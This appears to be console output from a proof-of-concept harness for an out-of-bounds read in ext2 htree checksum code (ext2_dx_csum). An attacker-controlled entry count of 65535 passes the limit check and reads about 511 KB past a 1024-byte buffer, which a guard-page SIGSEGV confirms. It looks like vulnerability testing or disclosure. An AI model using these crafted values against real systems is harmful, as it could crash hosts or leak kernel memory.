=== Deterministic harness (no kernel required) ===
[*] sizeof(struct ext2fs_htree_entry) = 8
[*] sizeof(struct ext2fs_htree_tail)  = 8
[*] bsize (directory block)           = 1024
[*] count_offset (htree root)         = 32

[A] count=1 limit=1 (legitimate):
    size=40  oob=0  (expected size=40, oob=0)

[B] count=65535 limit=1 (attacker-controlled):
    limit check PASSED (limit=1: 32+8=40 <= 1016)
    ext2_dx_csum size = 524312 bytes
    buffer size       = 1024 bytes
    OOB read          = 523288 bytes (511 KB) past the buffer

[C] Invoking ext2_dx_csum_faulting (full ext2_csum.c:261 read):
    buf at 0x800473c00 (end of page 1); PROT_NONE guard at 0x800474000
    Expecting SIGSEGV near 0x800474000 (start of guard page).

[!] SIGSEGV during dx_csum OOB read at addr 0x0000000800474000